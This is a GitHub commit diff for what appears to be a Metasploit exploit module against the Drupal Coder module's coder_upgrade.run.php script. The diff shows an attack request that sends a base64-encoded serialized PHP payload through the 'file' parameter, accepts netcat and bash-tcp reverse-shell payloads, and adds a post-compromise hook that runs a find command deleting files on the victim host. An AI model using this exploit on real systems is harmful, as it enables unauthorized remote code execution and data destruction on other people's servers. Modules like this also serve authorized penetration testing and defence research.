File tree Expand file tree Collapse file tree 1 file changed +11
-3
lines changed
modules/exploits/unix/webapp Expand file tree Collapse file tree 1 file changed +11
-3
lines changed Original file line number Diff line number Diff line change @@ -43,7 +43,7 @@ def initialize(info={})
43
43
'Compat' =>
44
44
{
45
45
'PayloadType' => 'cmd cmd_bash' ,
46
- 'RequiredCmd' => 'netcat netcat-e bash-tcp'
46
+ 'RequiredCmd' => 'generic netcat netcat-e bash-tcp'
47
47
} ,
48
48
} ,
49
49
'Platform' => [ 'unix' ] ,
@@ -87,15 +87,23 @@ def exploit
87
87
p << payload . encoded
88
88
p << ' #";s:4:"name";s:4:"test";}}}'
89
89
90
- payload = "data://text/plain;base64,#{ Rex ::Text . encode_base64 ( p ) } "
90
+ pl = "data://text/plain;base64,#{ Rex ::Text . encode_base64 ( p ) } "
91
91
92
92
send_request_cgi (
93
93
'method' => 'GET' ,
94
94
'uri' => normalize_uri ( target_uri . path , 'sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php' ) ,
95
95
'encode_params' => false ,
96
96
'vars_get' => {
97
- 'file' => payload
97
+ 'file' => pl
98
98
}
99
99
)
100
100
end
101
+
102
+ # XXX: FileDropper can't handle weird filenames
103
+ def on_new_session ( session )
104
+ # This find command should be decently portable...
105
+ command = '[ -f coder_upgrade.run.php ] && find . \! -name coder_upgrade.run.php -delete'
106
+ print_status ( "Cleaning up: #{ command } " )
107
+ session . shell_command_token ( command )
108
+ end
101
109
end
You can’t perform that action at this time.
0 commit comments